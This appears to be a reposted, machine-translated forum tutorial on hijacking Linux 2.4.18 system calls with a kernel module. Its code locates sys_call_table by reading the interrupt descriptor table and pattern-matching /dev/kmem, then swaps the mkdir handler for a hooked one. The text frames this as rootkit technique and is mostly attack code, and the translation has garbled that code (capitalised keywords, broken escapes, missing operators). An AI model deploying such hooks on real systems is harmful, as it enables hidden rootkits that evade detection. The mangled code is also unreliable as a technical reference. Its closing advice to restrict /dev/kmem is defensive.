Linux2.4.18 core based on LKM-based system call hijacking

zhaozj2021-02-16  57

Linux is now more and more, so Linux's security issues are now slowly concerned about more people. Rootkit is an attacker to hide the toolset that is traces and retain root access, in which LKM-based rootkit is particularly concerned. These rootkits can hide files, hide the process, redirect executables, bring great threats to Linux security, and the techniques used are mainly system call hijacking. The usual steps of intercepting system calls with LKM technology are as follows:

Find the required system call in the entry in sys_call_table [] (refer to include / sys / syscall.h)

Save the old entry pointer of sys_call_table [x]. (X represents the index of the system call you want to intercept)

Put the custom new function pointer in sys_call_table [x]

Before Linux2.4.18 kernel, you can use the sys_call_table to be used directly. Therefore, modifying the system call is very easy, look at an example below:

EXTERN VOID * SYS_CALL_TABLE []; / * sys_call_table is introduced, so you can access * /

INT (* orig_mkdir); / * Save the function pointer of the original system call * /

INT HACKED_MKDIR (Const Char * PATH)

{

Return 0; / * Everything is normal, in addition to the new operation, this operation does not do * /

}

INT init_module / * initialization module * /

{

Orig_mkdir = SYS_CALL_TABLE [SYS_MKDIR];

SYS_CALL_TABLE [SYS_MKDIR] = HACKED_MKDIR;

Return 0;

}

Void Cleanup_Module (Void) / * Uninstall Module * /

{

SYS_CALL_TABLE [SYS_MKDIR] = ORIG_MKDIR; / * Restore MKDIR system call to the original * /

}

After the Linux2.4.18 kernel, in order to solve this security problem, sys_call_table cannot be directly exported, so the code above the Linux2.4.18 kernel is compiled and loaded on the load. So how do you get SYS_CALL_TABLE, implement system call hijacking?

One. How to get the address of SYS_CALL_TABLE

1. / dev / kmem

Let's take a look at the introduction from Linux manus page (Man KMEM): "KMEM is a character device file, an image of the computer main memory. It can be used to test or even modify the system." That is to say, read this device Get data in memory, therefore, the address of SYS_CALL_TABLE can also be found via the device. This device usually only ROOT users have RW permissions, so only root can implement these operations.

2. Telemetric system call

Each system call is in the core through the int 0x80 interrupt, and the interrupt descriptor table corresponds to the interrupt service program and the interrupt vector. For system calls, the operating system calls the System_Call interrupt service program. The system_call function found and invoke the corresponding system call service routine according to the system call table in the system call table.

3. Get the process of getting the SYS_CALL_TABLE address

The IDTR register points to the starting address of the interrupt descriptor table, with SIDT [ASM ("SIDT% 0": "= m");] The instruction gets the interrupt descriptor table start address, obtained from this instruction The pointer can obtain the INT 0x80 interrupt service descriptor in position and then calculate the address of the System_Call function. Now let's compile the system_call function Look at: $ GDB -Q / USR / SRC / Linux / VMLinux

(No Debugging Symbols Found) ... (GDB) Disass system_call

Dump of assembler code for function system_call:

......

0xc0106bf2 : jne 0xc0106c48

0xc0106bf4 : Call * 0xc01e0f18 (,% EAX, 4)

0xc0106bfb : MOV% EAX, 0x18 (% ESP, 1)

0xc0106BFF : NOP

End of assembler dump.

(GDB) Print & Sys_CALL_TABLE

$ 1 = ( *) 0xc01e0f18

(GDB) X / XW (System_Call 44)

0xc0106bf4 : 0x188514ff <- Get machine instruction (Little Endian)

(GDB)

We can see that in the system_call function, we use the call * 0xc01e0f18 instruction to call the system call function. Therefore, just find the machine instructions of the Call Sys_Call_Table (, EAX, 4) instruction in system_call. We use the mode matching method to get the address of this machine instruction. This must read the data inside / dev / kmem.

two. How to use standard system calls in Module

Data in dealing with / dev / kmem can only use standard system calls, such as: Open, Lseek, Read.

But the standard system call cannot be used in Module. In order to use standard system calls in Module, we must implement system call functions in Module. See the implementation in the kernel source code:

#define __syscall_return (Type, RES) /

DO {/

IF ((uns)> = (unsigned long) (- 125)) {/

Errno = - (RES); /

RES = -1; /

} /

Return (TYPE) (RES); /

} while (0)

#define _syscall1 (Type, Name, Type1, Arg1) /

TYPE NAME (Type1 Arg1) /

{/

Long __res; /

__ASM__ Volatile ("INT $ 0x80" /

: "= a" (__res) /

: "0" (__nr _ ## name), "B" ((long))); /

__syscall_return (Type, __ RES); /

}

Static Inline_syscall1 (int, close, int, fd)

We can learn such a method so as long as these codes are added to our Module code, they can use these standard systems in Module.

In addition, in order to find the address of the SYS_CALL_TABLE in order to match the search, we can use the MEMMEM function. However, Memmem is a function of GNU C extension. Its function prototype is: void * Memmem (Void * S, INT S_LEN, VOID * T, INT T_LEN); the same, Module can not use library functions, but we can implement it yourself This function.

However, in Module, there is also a problem in using standard system calls. The system calls need to be required to be in the user space instead of the kernel space where Module is located.

Linux uses a segment option to distinguish between kernel space, user space, and so on. The parameters stored in the system call in the user space should be somewhere in the data segment selector (referred to). DS can be obtained with a GET_DS () function in ASM / UACcess.h. As long as we set the desired DS value for a parameter that is used by the kernel to point to the user segment, we can access the system calls in the kernel (those in the user address space) those use to do parameter values. . This can be done by calling set_fs (...). But be careful, after visiting the parameters of the system call, must restore the FS. Here is an example:

Filename kernel space; for example, we have just created a string

Unsigned long old_fs_value = get_fs ();

SET_FS (GET_DS); / * You can access the user space after completion. * /

Open (filename, o_creat | o_rdwr | o_excl, 0640);

Set_fs (old_fs_value); / * Restore fs ... * /

three. Implement the code implementation of the SYS_CALL_TABLE address lookup in Module

The main code is as follows:

/ * Implement system call * /

Unsigned long errno;

#define __syscall_return (Type, RES) /

DO {/

IF ((uns)> = (unsigned long) (- 125)) {/

Errno = - (RES); /

RES = -1; /

} /

Return (TYPE) (RES); /

} while (0)

#define _syscall1 (Type, Name, Type1, Arg1) /

TYPE NAME (Type1 Arg1) /

{/

Long __res; /

__ASM__ Volatile ("INT $ 0x80" /

: "= a" (__res) /

: "0" (__nr _ ## name), "B" ((long))); /

__syscall_return (Type, __ RES); /

}

#define _syscall3 (Type, Name, Type1, Arg1, Type2, Arg2, Type3, Arg3) /

TYPE NAME (Type1 Arg1, Type2 Arg2, Type3 Arg3) /

{/

Long __res; /

__ASM__ Volatile ("INT $ 0x80" /

: "= a" (__res) /

: "0" (__nr _ ## name), "B" ((line)), "C" ((ARG2)), /

"D" ((long))))); /

__syscall_return (Type, __ RES); /

}

Static inline _syscall3 (int, Write, Int, FD, Const Char *, BUF, OFF_T, COUNT)

Static inline _syscall3 (int, read, int, fd, char *, buf, off_t, count) static inline _syscall3 (off_t, lseek, int, fd, off_t, offset, int, count)

Static Inline_Syscall3 (int, open, const char *, file, int, flag, int, mode)

Static Inline_syscall1 (int, close, int, fd)

/ * From here, you can use these systems to call * /

Struct {

UNSIGNED SHORT LIMIT;

Unsigned int base;

} __ATtribute__ (packed) IDTR;

Struct {

UNSIGNED SHORT OFF1;

UNSIGNED SHORT SEL;

UNSIGNED CHAR NONE, FLAGS;

UNSIGNED SHORT OFF2;

} __ATtribute__ (packed) IDT;

INT KMEM;

Void ReadkMem (void * m, unsigned off, int SZ)

{

MM_SEGMENT_T OLD_FS_VALUE = GET_FS ();

Set_fs (get_ds ());

IF (Lseek (KMEM, OFF, 0)! = OFF) {

Printk ("KMEM Lseek Error In Read / N); Return;

}

IF (READ (KMEM, M, SZ)! = SZ) {

Printk ("KMem Read Error! / N"); Return;

}

Set_fs (OLD_FS_VALUE);

}

#define calloff 100 / * We will read the head 100 bytes of INT $ 0x80 * /

/ * Get the address of SYS_CALL_TABLE * /

Unsigned getsctable ()

{

UNSIGNED SCT;

Unsigned sys_call_off;

CHAR SC_ASM [Calloff], * P;

/ * Get the value of the IDTR register * /

ASM ("SIDT% 0": "= m" (idtr));

MM_SEGMENT_T OLD_FS_VALUE = GET_FS ();

Const char * filename = "/ dev / kmem";

Set_fs (get_ds ());

/ * Open KMEM * /

KMEM = Open (filename, o_rdonly, 0640);

IF (KMEM <0)

{

Printk ("Open Error!");

}

Set_fs (OLD_FS_VALUE);

/ * Read 0x80 vector from IDT * /

ReadkMem (& IDT, Idtr.Base 8 * 0x80, SIZEOF (IDT));

SYS_CALL_OFF = (idt.off2 << 16) | IDT.OFF1;

/ * Looking for the address of sys_call_table * /

ReadkMem (SC_ASM, SYS_CALL_OFF, CALLOFF);

P = (char *) MyMEM (SC_ASM, Calloff, "/ XFF / X14 / X85", 3);

SCT = * (unsigned *) (p 3);

Close (KMEM);

Return SCT;

}

Ok, but the above functions don't do enough error checks.

four. Hijacking system call

After getting the address of the SYS_CALL_TABLE, we can easily call the system.

We modify the first example of the beginning and let it run in the 2.4.18 kernel. The main code of the hijacking process of the system call is as follows:

Static unsigned SYS_CALL_TABLE_ADDR;

void ** sys_call_table;

INT init_module (void)

{

SYS_CALL_TABLE_ADDR = Getsctable ();

SYS_CALL_TABLE = (void **) sys_call_table_addr;

Orig_mkdir = SYS_CALL_TABLE [__ NR_MKDIR];

SYS_CALL_TABLE [__ NR_MKDIR] = HACKED_MKDIR;

Return 0;

}

Void Cleanup_Module (Void)

{

SYS_CALL_TABLE [__ NR_MKDIR] = Orig_mkdir;

}

Fives. Review

Although the kernel 2.4.18 will no longer export sys_call_table, we can still get its address by reading / dev / kmem device files to achieve the hijacking of the system call. To solve this problem, it is best to make the / dev / kmem are not readable, or simply do not use this device file. Otherwise, there will always be hidden dangers to security.

Reference:

Phrack58-0x07 Linux on-the-fly kernel Patching without LKM

(Nearly) Contlete Linux loadable kernel Modules -The Definitive Guide for Hackers, Virus Coders and System Administrators- Written By Pragmatic / THC, Version 1.0 Released 03/1999

Note: The writing of this article is mainly referring to the above two information, in addition, thanks to the help of friends in the Red Avenue Forum. Therefore, this article is also submitted to the Red League Forum for approval.

转载请注明原文地址:https://www.9cbs.com/read-24114.html

New Post(0)